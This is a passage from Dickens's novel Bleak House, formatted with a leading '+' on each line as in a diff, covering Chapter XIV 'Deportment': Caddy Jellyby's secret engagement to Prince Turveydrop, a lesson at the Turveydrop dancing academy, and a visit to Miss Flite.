+was a gentleman of a dark complexion--a young surgeon. He was rather
+reserved, but I thought him very sensible and agreeable. At least,
+Ada asked me if I did not, and I said yes.
+
+
+
+
+CHAPTER XIV
+
+Deportment
+
+
+Richard left us on the very next evening to begin his new career, and
+committed Ada to my charge with great love for her and great trust in
+me. It touched me then to reflect, and it touches me now, more
+nearly, to remember (having what I have to tell) how they both
+thought of me, even at that engrossing time. I was a part of all
+their plans, for the present and the future. I was to write Richard
+once a week, making my faithful report of Ada, who was to write to
+him every alternate day. I was to be informed, under his own hand, of
+all his labours and successes; I was to observe how resolute and
+persevering he would be; I was to be Ada's bridesmaid when they were
+married; I was to live with them afterwards; I was to keep all the
+keys of their house; I was to be made happy for ever and a day.
+
+"And if the suit SHOULD make us rich, Esther--which it may, you
+know!" said Richard to crown all.
+
+A shade crossed Ada's face.
+
+"My dearest Ada," asked Richard, "why not?"
+
+"It had better declare us poor at once," said Ada.
+
+"Oh! I don't know about that," returned Richard, "but at all events,
+it won't declare anything at once. It hasn't declared anything in
+heaven knows how many years."
+
+"Too true," said Ada.
+
+"Yes, but," urged Richard, answering what her look suggested rather
+than her words, "the longer it goes on, dear cousin, the nearer it
+must be to a settlement one way or other. Now, is not that
+reasonable?"
+
+"You know best, Richard. But I am afraid if we trust to it, it will
+make us unhappy."
+
+"But, my Ada, we are not going to trust to it!" cried Richard gaily.
+"We know it better than to trust to it. We only say that if it SHOULD
+make us rich, we have no constitutional objection to being rich. The
+court is, by solemn settlement of law, our grim old guardian, and we
+are to suppose that what it gives us (when it gives us anything) is
+our right. It is not necessary to quarrel with our right."
+
+"No," said Ada, "but it may be better to forget all about it."
+
+"Well, well," cried Richard, "then we will forget all about it! We
+consign the whole thing to oblivion. Dame Durden puts on her
+approving face, and it's done!"
+
+"Dame Durden's approving face," said I, looking out of the box in
+which I was packing his books, "was not very visible when you called
+it by that name; but it does approve, and she thinks you can't do
+better."
+
+So, Richard said there was an end of it, and immediately began, on no
+other foundation, to build as many castles in the air as would man
+the Great Wall of China. He went away in high spirits. Ada and I,
+prepared to miss him very much, commenced our quieter career.
+
+On our arrival in London, we had called with Mr. Jarndyce at Mrs.
+Jellyby's but had not been so fortunate as to find her at home. It
+appeared that she had gone somewhere to a tea-drinking and had taken
+Miss Jellyby with her. Besides the tea-drinking, there was to be some
+considerable speech-making and letter-writing on the general merits
+of the cultivation of coffee, conjointly with natives, at the
+Settlement of Borrioboola-Gha. All this involved, no doubt,
+sufficient active exercise of pen and ink to make her daughter's part
+in the proceedings anything but a holiday.
+
+It being now beyond the time appointed for Mrs. Jellyby's return, we
+called again. She was in town, but not at home, having gone to Mile
+End directly after breakfast on some Borrioboolan business, arising
+out of a society called the East London Branch Aid Ramification. As I
+had not seen Peepy on the occasion of our last call (when he was not
+to be found anywhere, and when the cook rather thought he must have
+strolled away with the dustman's cart), I now inquired for him again.
+The oyster shells he had been building a house with were still in the
+passage, but he was nowhere discoverable, and the cook supposed that
+he had "gone after the sheep." When we repeated, with some surprise,
+"The sheep?" she said, Oh, yes, on market days he sometimes followed
+them quite out of town and came back in such a state as never was!
+
+I was sitting at the window with my guardian on the following
+morning, and Ada was busy writing--of course to Richard--when Miss
+Jellyby was announced, and entered, leading the identical Peepy, whom
+she had made some endeavours to render presentable by wiping the dirt
+into corners of his face and hands and making his hair very wet and
+then violently frizzling it with her fingers. Everything the dear
+child wore was either too large for him or too small. Among his other
+contradictory decorations he had the hat of a bishop and the little
+gloves of a baby. His boots were, on a small scale, the boots of a
+ploughman, while his legs, so crossed and recrossed with scratches
+that they looked like maps, were bare below a very short pair of
+plaid drawers finished off with two frills of perfectly different
+patterns. The deficient buttons on his plaid frock had evidently been
+supplied from one of Mr. Jellyby's coats, they were so extremely
+brazen and so much too large. Most extraordinary specimens of
+needlework appeared on several parts of his dress, where it had been
+hastily mended, and I recognized the same hand on Miss Jellyby's. She
+was, however, unaccountably improved in her appearance and looked
+very pretty. She was conscious of poor little Peepy being but a
+failure after all her trouble, and she showed it as she came in by
+the way in which she glanced first at him and then at us.
+
+"Oh, dear me!" said my guardian. "Due east!"
+
+Ada and I gave her a cordial welcome and presented her to Mr.
+Jarndyce, to whom she said as she sat down, "Ma's compliments, and
+she hopes you'll excuse her, because she's correcting proofs of the
+plan. She's going to put out five thousand new circulars, and she
+knows you'll be interested to hear that. I have brought one of them
+with me. Ma's compliments." With which she presented it sulkily
+enough.
+
+"Thank you," said my guardian. "I am much obliged to Mrs. Jellyby.
+Oh, dear me! This is a very trying wind!"
+
+We were busy with Peepy, taking off his clerical hat, asking him if
+he remembered us, and so on. Peepy retired behind his elbow at first,
+but relented at the sight of sponge-cake and allowed me to take him
+on my lap, where he sat munching quietly. Mr. Jarndyce then
+withdrawing into the temporary growlery, Miss Jellyby opened a
+conversation with her usual abruptness.
+
+"We are going on just as bad as ever in Thavies Inn," said she. "I
+have no peace of my life. Talk of Africa! I couldn't be worse off if
+I was a what's-his-name--man and a brother!"
+
+I tried to say something soothing.
+
+"Oh, it's of no use, Miss Summerson," exclaimed Miss Jellyby, "though
+I thank you for the kind intention all the same. I know how I am
+used, and I am not to be talked over. YOU wouldn't be talked over if
+you were used so. Peepy, go and play at Wild Beasts under the piano!"
+
+"I shan't!" said Peepy.
+
+"Very well, you ungrateful, naughty, hard-hearted boy!" returned Miss
+Jellyby with tears in her eyes. "I'll never take pains to dress you
+any more."
+
+"Yes, I will go, Caddy!" cried Peepy, who was really a good child and
+who was so moved by his sister's vexation that he went at once.
+
+"It seems a little thing to cry about," said poor Miss Jellyby
+apologetically, "but I am quite worn out. I was directing the new
+circulars till two this morning. I detest the whole thing so that
+that alone makes my head ache till I can't see out of my eyes. And
+look at that poor unfortunate child! Was there ever such a fright as
+he is!"
+
+Peepy, happily unconscious of the defects in his appearance, sat on
+the carpet behind one of the legs of the piano, looking calmly out of
+his den at us while he ate his cake.
+
+"I have sent him to the other end of the room," observed Miss
+Jellyby, drawing her chair nearer ours, "because I don't want him to
+hear the conversation. Those little things are so sharp! I was going
+to say, we really are going on worse than ever. Pa will be a bankrupt
+before long, and then I hope Ma will be satisfied. There'll he nobody
+but Ma to thank for it."
+
+We said we hoped Mr. Jellyby's affairs were not in so bad a state as
+that.
+
+"It's of no use hoping, though it's very kind of you," returned Miss
+Jellyby, shaking her head. "Pa told me only yesterday morning (and
+dreadfully unhappy he is) that he couldn't weather the storm. I
+should be surprised if he could. When all our tradesmen send into our
+house any stuff they like, and the servants do what they like with
+it, and I have no time to improve things if I knew how, and Ma don't
+care about anything, I should like to make out how Pa is to weather
+the storm. I declare if I was Pa, I'd run away."
+
+"My dear!" said I, smiling. "Your papa, no doubt, considers his
+family."
+
+"Oh, yes, his family is all very fine, Miss Summerson," replied Miss
+Jellyby; "but what comfort is his family to him? His family is
+nothing but bills, dirt, waste, noise, tumbles downstairs, confusion,
+and wretchedness. His scrambling home, from week's end to week's end,
+is like one great washing-day--only nothing's washed!"
+
+Miss Jellyby tapped her foot upon the floor and wiped her eyes.
+
+"I am sure I pity Pa to that degree," she said, "and am so angry with
+Ma that I can't find words to express myself! However, I am not going
+to bear it, I am determined. I won't be a slave all my life, and I
+won't submit to be proposed to by Mr. Quale. A pretty thing, indeed,
+to marry a philanthropist. As if I hadn't had enough of THAT!" said
+poor Miss Jellyby.
+
+I must confess that I could not help feeling rather angry with Mrs.
+Jellyby myself, seeing and hearing this neglected girl and knowing
+how much of bitterly satirical truth there was in what she said.
+
+"If it wasn't that we had been intimate when you stopped at our
+house," pursued Miss Jellyby, "I should have been ashamed to come
+here to-day, for I know what a figure I must seem to you two. But as
+it is, I made up my mind to call, especially as I am not likely to
+see you again the next time you come to town."
+
+She said this with such great significance that Ada and I glanced at
+one another, foreseeing something more.
+
+"No!" said Miss Jellyby, shaking her head. "Not at all likely! I know
+I may trust you two. I am sure you won't betray me. I am engaged."
+
+"Without their knowledge at home?" said I.
+
+"Why, good gracious me, Miss Summerson," she returned, justifying
+herself in a fretful but not angry manner, "how can it be otherwise?
+You know what Ma is--and I needn't make poor Pa more miserable by
+telling HIM."
+
+"But would it not be adding to his unhappiness to marry without his
+knowledge or consent, my dear?" said I.
+
+"No," said Miss Jellyby, softening. "I hope not. I should try to make
+him happy and comfortable when he came to see me, and Peepy and the
+others should take it in turns to come and stay with me, and they
+should have some care taken of them then."
+
+There was a good deal of affection in poor Caddy. She softened more
+and more while saying this and cried so much over the unwonted little
+home-picture she had raised in her mind that Peepy, in his cave under
+the piano, was touched, and turned himself over on his back with loud
+lamentations. It was not until I had brought him to kiss his sister,
+and had restored him to his place on my lap, and had shown him that
+Caddy was laughing (she laughed expressly for the purpose), that we
+could recall his peace of mind; even then it was for some time
+conditional on his taking us in turns by the chin and smoothing our
+faces all over with his hand. At last, as his spirits were not equal
+to the piano, we put him on a chair to look out of window; and Miss
+Jellyby, holding him by one leg, resumed her confidence.
+
+"It began in your coming to our house," she said.
+
+We naturally asked how.
+
+"I felt I was so awkward," she replied, "that I made up my mind to be
+improved in that respect at all events and to learn to dance. I told
+Ma I was ashamed of myself, and I must be taught to dance. Ma looked
+at me in that provoking way of hers as if I wasn't in sight, but I
+was quite determined to be taught to dance, and so I went to Mr.
+Turveydrop's Academy in Newman Street."
+
+"And was it there, my dear--" I began.
+
+"Yes, it was there," said Caddy, "and I am engaged to Mr. Turveydrop.
+There are two Mr. Turveydrops, father and son. My Mr. Turveydrop is
+the son, of course. I only wish I had been better brought up and was
+likely to make him a better wife, for I am very fond of him."
+
+"I am sorry to hear this," said I, "I must confess."
+
+"I don't know why you should be sorry," she retorted a little
+anxiously, "but I am engaged to Mr. Turveydrop, whether or no, and he
+is very fond of me. It's a secret as yet, even on his side, because
+old Mr. Turveydrop has a share in the connexion and it might break
+his heart or give him some other shock if he was told of it abruptly.
+Old Mr. Turveydrop is a very gentlemanly man indeed--very
+gentlemanly."
+
+"Does his wife know of it?" asked Ada.
+
+"Old Mr. Turveydrop's wife, Miss Clare?" returned Miss Jellyby,
+opening her eyes. "There's no such person. He is a widower."
+
+We were here interrupted by Peepy, whose leg had undergone so much on
+account of his sister's unconsciously jerking it like a bell-rope
+whenever she was emphatic that the afflicted child now bemoaned his
+sufferings with a very low-spirited noise. As he appealed to me for
+compassion, and as I was only a listener, I undertook to hold him.
+Miss Jellyby proceeded, after begging Peepy's pardon with a kiss and
+assuring him that she hadn't meant to do it.
+
+"That's the state of the case," said Caddy. "If I ever blame myself,
+I still think it's Ma's fault. We are to be married whenever we can,
+and then I shall go to Pa at the office and write to Ma. It won't
+much agitate Ma; I am only pen and ink to HER. One great comfort is,"
+said Caddy with a sob, "that I shall never hear of Africa after I am
+married. Young Mr. Turveydrop hates it for my sake, and if old Mr.
+Turveydrop knows there is such a place, it's as much as he does."
+
+"It was he who was very gentlemanly, I think!" said I.
+
+"Very gentlemanly indeed," said Caddy. "He is celebrated almost
+everywhere for his deportment."
+
+"Does he teach?" asked Ada.
+
+"No, he don't teach anything in particular," replied Caddy. "But his
+deportment is beautiful."
+
+Caddy went on to say with considerable hesitation and reluctance that
+there was one thing more she wished us to know, and felt we ought to
+know, and which she hoped would not offend us. It was that she had
+improved her acquaintance with Miss Flite, the little crazy old lady,
+and that she frequently went there early in the morning and met her
+lover for a few minutes before breakfast--only for a few minutes. "I
+go there at other times," said Caddy, "but Prince does not come then.
+Young Mr. Turveydrop's name is Prince; I wish it wasn't, because it
+sounds like a dog, but of course he didn't christen himself. Old Mr.
+Turveydrop had him christened Prince in remembrance of the Prince
+Regent. Old Mr. Turveydrop adored the Prince Regent on account of his
+deportment. I hope you won't think the worse of me for having made
+these little appointments at Miss Flite's, where I first went with
+you, because I like the poor thing for her own sake and I believe she
+likes me. If you could see young Mr. Turveydrop, I am sure you would
+think well of him--at least, I am sure you couldn't possibly think
+any ill of him. I am going there now for my lesson. I couldn't ask
+you to go with me, Miss Summerson; but if you would," said Caddy, who
+had said all this earnestly and tremblingly, "I should be very
+glad--very glad."
+
+It happened that we had arranged with my guardian to go to Miss
+Flite's that day. We had told him of our former visit, and our
+account had interested him; but something had always happened to
+prevent our going there again. As I trusted that I might have
+sufficient influence with Miss Jellyby to prevent her taking any very
+rash step if I fully accepted the confidence she was so willing to
+place in me, poor girl, I proposed that she and I and Peepy should go
+to the academy and afterwards meet my guardian and Ada at Miss
+Flite's, whose name I now learnt for the first time. This was on
+condition that Miss Jellyby and Peepy should come back with us to
+dinner. The last article of the agreement being joyfully acceded to
+by both, we smartened Peepy up a little with the assistance of a few
+pins, some soap and water, and a hair-brush, and went out, bending
+our steps towards Newman Street, which was very near.
+
+I found the academy established in a sufficiently dingy house at the
+corner of an archway, with busts in all the staircase windows. In the
+same house there were also established, as I gathered from the plates
+on the door, a drawing-master, a coal-merchant (there was, certainly,
+no room for his coals), and a lithographic artist. On the plate
+which, in size and situation, took precedence of all the rest, I
+read, MR. TURVEYDROP. The door was open, and the hall was blocked up
+by a grand piano, a harp, and several other musical instruments in
+cases, all in progress of removal, and all looking rakish in the
+daylight. Miss Jellyby informed me that the academy had been lent,
+last night, for a concert.
+
+We went upstairs--it had been quite a fine house once, when it was
+anybody's business to keep it clean and fresh, and nobody's business
+to smoke in it all day--and into Mr. Turveydrop's great room, which
+was built out into a mews at the back and was lighted by a skylight.
+It was a bare, resounding room smelling of stables, with cane forms
+along the walls, and the walls ornamented at regular intervals with
+painted lyres and little cut-glass branches for candles, which seemed
+to be shedding their old-fashioned drops as other branches might shed
+autumn leaves. Several young lady pupils, ranging from thirteen or
+fourteen years of age to two or three and twenty, were assembled; and
+I was looking among them for their instructor when Caddy, pinching my
+arm, repeated the ceremony of introduction. "Miss Summerson, Mr.
+Prince Turveydrop!"
+
+I curtsied to a little blue-eyed fair man of youthful appearance with
+flaxen hair parted in the middle and curling at the ends all round
+his head. He had a little fiddle, which we used to call at school a
+kit, under his left arm, and its little bow in the same hand. His
+little dancing-shoes were particularly diminutive, and he had a
+little innocent, feminine manner which not only appealed to me in an
+amiable way, but made this singular effect upon me, that I received
+the impression that he was like his mother and that his mother had
+not been much considered or well used.
+
+"I am very happy to see Miss Jellyby's friend," he said, bowing low
+to me. "I began to fear," with timid tenderness, "as it was past the
+usual time, that Miss Jellyby was not coming."
+
+"I beg you will have the goodness to attribute that to me, who have
+detained her, and to receive my excuses, sir," said I.
+
+"Oh, dear!" said he.
+
+"And pray," I entreated, "do not allow me to be the cause of any more
+delay."
+
+With that apology I withdrew to a seat between Peepy (who, being well
+used to it, had already climbed into a corner place) and an old lady
+of a censorious countenance whose two nieces were in the class and
+who was very indignant with Peepy's boots. Prince Turveydrop then
+tinkled the strings of his kit with his fingers, and the young ladies
+stood up to dance. Just then there appeared from a side-door old Mr.
+Turveydrop, in the full lustre of his deportment.
+
+He was a fat old gentleman with a false complexion, false teeth,
+false whiskers, and a wig. He had a fur collar, and he had a padded
+breast to his coat, which only wanted a star or a broad blue ribbon
+to be complete. He was pinched in, and swelled out, and got up, and
+strapped down, as much as he could possibly bear. He had such a
+neckcloth on (puffing his very eyes out of their natural shape), and
+his chin and even his ears so sunk into it, that it seemed as though
+he must inevitably double up if it were cast loose. He had under his
+arm a hat of great size and weight, shelving downward from the crown
+to the brim, and in his hand a pair of white gloves with which he
+flapped it as he stood poised on one leg in a high-shouldered,
+round-elbowed state of elegance not to be surpassed. He had a cane,
+he had an eye-glass, he had a snuff-box, he had rings, he had
+wristbands, he had everything but any touch of nature; he was not
+like youth, he was not like age, he was not like anything in the
+world but a model of deportment.
+
+"Father! A visitor. Miss Jellyby's friend, Miss Summerson."
+
+"Distinguished," said Mr. Turveydrop, "by Miss Summerson's presence."
+As he bowed to me in that tight state, I almost believe I saw creases
+come into the whites of his eyes.
+
+"My father," said the son, aside, to me with quite an affecting
+belief in him, "is a celebrated character. My father is greatly
+admired."
+
+"Go on, Prince! Go on!" said Mr. Turveydrop, standing with his back
+to the fire and waving his gloves condescendingly. "Go on, my son!"
+
+At this command, or by this gracious permission, the lesson went on.
+Prince Turveydrop sometimes played the kit, dancing; sometimes played
+the piano, standing; sometimes hummed the tune with what little
+breath he could spare, while he set a pupil right; always
+conscientiously moved with the least proficient through every step
+and every part of the figure; and never rested for an instant. His
+distinguished father did nothing whatever but stand before the fire,
+a model of deportment.
+
+"And he never does anything else," said the old lady of the
+censorious countenance. "Yet would you believe that it's HIS name on
+the door-plate?"
+
+"His son's name is the same, you know," said I.
+
+"He wouldn't let his son have any name if he could take it from him,"
+returned the old lady. "Look at the son's dress!" It certainly was
+plain--threadbare--almost shabby. "Yet the father must be garnished
+and tricked out," said the old lady, "because of his deportment. I'd
+deport him! Transport him would be better!"
+
+I felt curious to know more concerning this person. I asked, "Does he
+give lessons in deportment now?"
+
+"Now!" returned the old lady shortly. "Never did."
+
+After a moment's consideration, I suggested that perhaps fencing had
+been his accomplishment.
+
+"I don't believe he can fence at all, ma'am," said the old lady.
+
+I looked surprised and inquisitive. The old lady, becoming more and
+more incensed against the master of deportment as she dwelt upon the
+subject, gave me some particulars of his career, with strong
+assurances that they were mildly stated.
+
+He had married a meek little dancing-mistress, with a tolerable
+connexion (having never in his life before done anything but deport
+himself), and had worked her to death, or had, at the best, suffered
+her to work herself to death, to maintain him in those expenses which
+were indispensable to his position. At once to exhibit his deportment
+to the best models and to keep the best models constantly before
+himself, he had found it necessary to frequent all public places of
+fashionable and lounging resort, to be seen at Brighton and elsewhere
+at fashionable times, and to lead an idle life in the very best
+clothes. To enable him to do this, the affectionate little
+dancing-mistress had toiled and laboured and would have toiled and
+laboured to that hour if her strength had lasted so long. For the
+mainspring of the story was that in spite of the man's absorbing
+selfishness, his wife (overpowered by his deportment) had, to the
+last, believed in him and had, on her death-bed, in the most moving
+terms, confided him to their son as one who had an inextinguishable
+claim upon him and whom he could never regard with too much pride and
+deference. The son, inheriting his mother's belief, and having the
+deportment always before him, had lived and grown in the same faith,
+and now, at thirty years of age, worked for his father twelve hours a
+day and looked up to him with veneration on the old imaginary
+pinnacle.
+
+"The airs the fellow gives himself!" said my informant, shaking her
+head at old Mr. Turveydrop with speechless indignation as he drew on
+his tight gloves, of course unconscious of the homage she was
+rendering. "He fully believes he is one of the aristocracy! And he is
+so condescending to the son he so egregiously deludes that you might
+suppose him the most virtuous of parents. Oh!" said the old lady,
+apostrophizing him with infinite vehemence. "I could bite you!"
+
+I could not help being amused, though I heard the old lady out with
+feelings of real concern. It was difficult to doubt her with the
+father and son before me. What I might have thought of them without
+the old lady's account, or what I might have thought of the old
+lady's account without them, I cannot say. There was a fitness of
+things in the whole that carried conviction with it.
+
+My eyes were yet wandering, from young Mr. Turveydrop working so
+hard, to old Mr. Turveydrop deporting himself so beautifully, when
+the latter came ambling up to me and entered into conversation.
+
+He asked me, first of all, whether I conferred a charm and a
+distinction on London by residing in it? I did not think it necessary
+to reply that I was perfectly aware I should not do that, in any
+case, but merely told him where I did reside.
+
+"A lady so graceful and accomplished," he said, kissing his
+right glove and afterwards extending it towards the pupils,
+"will look leniently on the deficiencies here. We do our best to
+polish--polish--polish!"
+
+He sat down beside me, taking some pains to sit on the form, I
+thought, in imitation of the print of his illustrious model on the
+sofa. And really he did look very like it.
+
+"To polish--polish--polish!" he repeated, taking a pinch of snuff and
+gently fluttering his fingers. "But we are not, if I may say so to
+one formed to be graceful both by Nature and Art--" with the
+high-shouldered bow, which it seemed impossible for him to make
+without lifting up his eyebrows and shutting his eyes "--we are not
+what we used to be in point of deportment."
+
+"Are we not, sir?" said I.
+
+"We have degenerated," he returned, shaking his head, which he could
+do to a very limited extent in his cravat. "A levelling age is not
+favourable to deportment. It develops vulgarity. Perhaps I speak with
+some little partiality. It may not be for me to say that I have been
+called, for some years now, Gentleman Turveydrop, or that his Royal
+Highness the Prince Regent did me the honour to inquire, on my
+removing my hat as he drove out of the Pavilion at Brighton (that
+fine building), 'Who is he? Who the devil is he? Why don't I know
+him? Why hasn't he thirty thousand a year?' But these are little
+matters of anecdote--the general property, ma'am--still repeated
+occasionally among the upper classes."
+
+"Indeed?" said I.
+
+He replied with the high-shouldered bow. "Where what is left among us
+of deportment," he added, "still lingers. England--alas, my
+country!--has degenerated very much, and is degenerating every day.
+She has not many gentlemen left. We are few. I see nothing to succeed
+us but a race of weavers."
+
+"One might hope that the race of gentlemen would be perpetuated
+here," said I.
+
+"You are very good." He smiled with a high-shouldered bow again. "You
+flatter me. But, no--no! I have never been able to imbue my poor boy
+with that part of his art. Heaven forbid that I should disparage my
+dear child, but he has--no deportment."
+
+"He appears to be an excellent master," I observed.
+
+"Understand me, my dear madam, he IS an excellent master. All that
+can be acquired, he has acquired. All that can be imparted, he can
+impart. But there ARE things--" He took another pinch of snuff and
+made the bow again, as if to add, "This kind of thing, for instance."
+
+I glanced towards the centre of the room, where Miss Jellyby's lover,
+now engaged with single pupils, was undergoing greater drudgery than
+ever.
+
+"My amiable child," murmured Mr. Turveydrop, adjusting his cravat.
+
+"Your son is indefatigable," said I.
+
+"It is my reward," said Mr. Turveydrop, "to hear you say so. In some
+respects, he treads in the footsteps of his sainted mother. She was a
+devoted creature. But wooman, lovely wooman," said Mr. Turveydrop
+with very disagreeable gallantry, "what a sex you are!"
+
+I rose and joined Miss Jellyby, who was by this time putting on her
+bonnet. The time allotted to a lesson having fully elapsed, there was
+a general putting on of bonnets. When Miss Jellyby and the
+unfortunate Prince found an opportunity to become betrothed I don't
+know, but they certainly found none on this occasion to exchange a
+dozen words.
+
+"My dear," said Mr. Turveydrop benignly to his son, "do you know the
+hour?"
+
+"No, father." The son had no watch. The father had a handsome gold
+one, which he pulled out with an air that was an example to mankind.
+
+"My son," said he, "it's two o'clock. Recollect your school at
+Kensington at three."
+
+"That's time enough for me, father," said Prince. "I can take a
+morsel of dinner standing and be off."
+
+"My dear boy," returned his father, "you must be very quick. You will
+find the cold mutton on the table."
+
+"Thank you, father. Are YOU off now, father?"
+
+"Yes, my dear. I suppose," said Mr. Turveydrop, shutting his eyes and
+lifting up his shoulders with modest consciousness, "that I must show
+myself, as usual, about town."
+
+"You had better dine out comfortably somewhere," said his son.
+
+"My dear child, I intend to. I shall take my little meal, I think, at
+the French house, in the Opera Colonnade."
+
+"That's right. Good-bye, father!" said Prince, shaking hands.
+
+"Good-bye, my son. Bless you!"
+
+Mr. Turveydrop said this in quite a pious manner, and it seemed to do
+his son good, who, in parting from him, was so pleased with him, so
+dutiful to him, and so proud of him that I almost felt as if it were
+an unkindness to the younger man not to be able to believe implicitly
+in the elder. The few moments that were occupied by Prince in taking
+leave of us (and particularly of one of us, as I saw, being in the
+secret), enhanced my favourable impression of his almost childish
+character. I felt a liking for him and a compassion for him as he put
+his little kit in his pocket--and with it his desire to stay a little
+while with Caddy--and went away good-humouredly to his cold mutton
+and his school at Kensington, that made me scarcely less irate with
+his father than the censorious old lady.
+
+The father opened the room door for us and bowed us out in a manner,
+I must acknowledge, worthy of his shining original. In the same style
+he presently passed us on the other side of the street, on his way to
+the aristocratic part of the town, where he was going to show himself
+among the few other gentlemen left. For some moments, I was so lost
+in reconsidering what I had heard and seen in Newman Street that I
+was quite unable to talk to Caddy or even to fix my attention on what
+she said to me, especially when I began to inquire in my mind whether
+there were, or ever had been, any other gentlemen, not in the dancing
+profession, who lived and founded a reputation entirely on their
+deportment. This became so bewildering and suggested the possibility
+of so many Mr. Turveydrops that I said, "Esther, you must make up
+your mind to abandon this subject altogether and attend to Caddy." I
+accordingly did so, and we chatted all the rest of the way to
+Lincoln's Inn.
+
+Caddy told me that her lover's education had been so neglected that
+it was not always easy to read his notes. She said if he were not so
+anxious about his spelling and took less pains to make it clear, he
+would do better; but he put so many unnecessary letters into short
+words that they sometimes quite lost their English appearance. "He
+does it with the best intention," observed Caddy, "but it hasn't the
+effect he means, poor fellow!" Caddy then went on to reason, how
+could he be expected to be a scholar when he had passed his whole
+life in the dancing-school and had done nothing but teach and fag,
+fag and teach, morning, noon, and night! And what did it matter? She
+could write letters enough for both, as she knew to her cost, and it
+was far better for him to be amiable than learned. "Besides, it's not
+as if I was an accomplished girl who had any right to give herself
+airs," said Caddy. "I know little enough, I am sure, thanks to Ma!
+
+"There's another thing I want to tell you, now we are alone,"
+continued Caddy, "which I should not have liked to mention unless you
+had seen Prince, Miss Summerson. You know what a house ours is. It's
+of no use my trying to learn anything that it would be useful for
+Prince's wife to know in OUR house. We live in such a state of muddle
+that it's impossible, and I have only been more disheartened whenever
+I have tried. So I get a little practice with--who do you think? Poor
+Miss Flite! Early in the morning I help her to tidy her room and
+clean her birds, and I make her cup of coffee for her (of course she
+taught me), and I have learnt to make it so well that Prince says
+it's the very best coffee he ever tasted, and would quite delight old
+Mr. Turveydrop, who is very particular indeed about his coffee. I can
+make little puddings too; and I know how to buy neck of mutton, and
+tea, and sugar, and butter, and a good many housekeeping things. I am
+not clever at my needle, yet," said Caddy, glancing at the repairs on
+Peepy's frock, "but perhaps I shall improve, and since I have been
+engaged to Prince and have been doing all this, I have felt
+better-tempered, I hope, and more forgiving to Ma. It rather put me
+out at first this morning to see you and Miss Clare looking so neat
+and pretty and to feel ashamed of Peepy and myself too, but on the
+whole I hope I am better-tempered than I was and more forgiving to
+Ma."
+
+The poor girl, trying so hard, said it from her heart, and touched
+mine. "Caddy, my love," I replied, "I begin to have a great affection
+for you, and I hope we shall become friends."
+
+"Oh, do you?" cried Caddy. "How happy that would make me!"
+
+"My dear Caddy," said I, "let us be friends from this time, and let
+us often have a chat about these matters and try to find the right
+way through them." Caddy was overjoyed. I said everything I could in
+my old-fashioned way to comfort and encourage her, and I would not
+have objected to old Mr. Turveydrop that day for any smaller
+consideration than a settlement on his daughter-in-law.
+
+By this time we were come to Mr. Krook's, whose private door stood
+open. There was a bill, pasted on the door-post, announcing a room to
+let on the second floor. It reminded Caddy to tell me as we proceeded
+upstairs that there had been a sudden death there and an inquest and
+that our little friend had been ill of the fright. The door and
+window of the vacant room being open, we looked in. It was the room
+with the dark door to which Miss Flite had secretly directed my
+attention when I was last in the house. A sad and desolate place it
+was, a gloomy, sorrowful place that gave me a strange sensation of
+mournfulness and even dread. "You look pale," said Caddy when we came
+out, "and cold!" I felt as if the room had chilled me.
+
+We had walked slowly while we were talking, and my guardian and Ada
+were here before us. We found them in Miss Flite's garret. They were
+looking at the birds, while a medical gentleman who was so good as to
+attend Miss Flite with much solicitude and compassion spoke with her
+cheerfully by the fire.
+
+"I have finished my professional visit," he said, coming forward.
+"Miss Flite is much better and may appear in court (as her mind is
+set upon it) to-morrow. She has been greatly missed there, I
+understand."
+
+Miss Flite received the compliment with complacency and dropped a
+general curtsy to us.
+
+"Honoured, indeed," said she, "by another visit from the wards in
+Jarndyce! Ve-ry happy to receive Jarndyce of Bleak House beneath my
+humble roof!" with a special curtsy. "Fitz-Jarndyce, my dear"--she
+had bestowed that name on Caddy, it appeared, and always called her
+by it--"a double welcome!"
+
+"Has she been very ill?" asked Mr. Jarndyce of the gentleman whom we
+had found in attendance on her. She answered for herself directly,
+though he had put the question in a whisper.
+
+"Oh, decidedly unwell! Oh, very unwell indeed," she said
+confidentially. "Not pain, you know--trouble. Not bodily so much as
+nervous, nervous! The truth is," in a subdued voice and trembling,
+"we have had death here. There was poison in the house. I am very
+susceptible to such horrid things. It frightened me. Only Mr.
+Woodcourt knows how much. My physician, Mr. Woodcourt!" with
+great stateliness. "The wards in Jarndyce--Jarndyce of Bleak
+House--Fitz-Jarndyce!"
+
+"Miss Flite," said Mr. Woodcourt in a grave kind of voice, as if he
+were appealing to her while speaking to us, and laying his hand
+gently on her arm, "Miss Flite describes her illness with her usual
+accuracy. She was alarmed by an occurrence in the house which might
+have alarmed a stronger person, and was made ill by the distress and
+agitation. She brought me here in the first hurry of the discovery,
+though too late for me to be of any use to the unfortunate man. I
+have compensated myself for that disappointment by coming here since
+and being of some small use to her."
+
+"The kindest physician in the college," whispered Miss Flite to me.
+"I expect a judgment. On the day of judgment. And shall then confer
+estates."
+
+"She will be as well in a day or two," said Mr. Woodcourt, looking at
+her with an observant smile, "as she ever will be. In other words,
+quite well of course. Have you heard of her good fortune?"
+
+"Most extraordinary!" said Miss Flite, smiling brightly. "You never
+heard of such a thing, my dear! Every Saturday, Conversation Kenge or
+Guppy (clerk to Conversation K.) places in my hand a paper of
+shillings. Shillings. I assure you! Always the same number in the
+paper. Always one for every day in the week. Now you know, really! So
+well-timed, is it not? Ye-es! From whence do these papers come, you
+say? That is the great question. Naturally. Shall I tell you what I
+think? I think," said Miss Flite, drawing herself back with a very
+shrewd look and shaking her right forefinger in a most significant
+manner, "that the Lord Chancellor, aware of the length of time during
+which the Great Seal has been open (for it has been open a long
+time!), forwards them. Until the judgment I expect is given. Now
+that's very creditable, you know. To confess in that way that he IS a
+little slow for human life. So delicate! Attending court the other
+day--I attend it regularly, with my documents--I taxed him with it,
+and he almost confessed. That is, I smiled at him from my bench, and
+HE smiled at me from his bench. But it's great good fortune, is it
+not? And Fitz-Jarndyce lays the money out for me to great advantage.
+Oh, I assure you to the greatest advantage!"
+
+I congratulated her (as she addressed herself to me) upon this
+fortunate addition to her income and wished her a long continuance of
+it. I did not speculate upon the source from which it came or wonder
+whose humanity was so considerate. My guardian stood before me,
+contemplating the birds, and I had no need to look beyond him.
+
+"And what do you call these little fellows, ma'am?" said he in his
+pleasant voice. "Have they any names?"
+
+"I can answer for Miss Flite that they have," said I, "for she
+promised to tell us what they were. Ada remembers?"
+
+Ada remembered very well.
+
+"Did I?" said Miss Flite. "Who's that at my door? What are you
+listening at my door for, Krook?"
+
+The old man of the house, pushing it open before him, appeared there
+with his fur cap in his hand and his cat at his heels.
+
+"I warn't listening, Miss Flite," he said, "I was going to give a rap
+with my knuckles, only you're so quick!"
+
+"Make your cat go down. Drive her away!" the old lady angrily
+exclaimed.
+
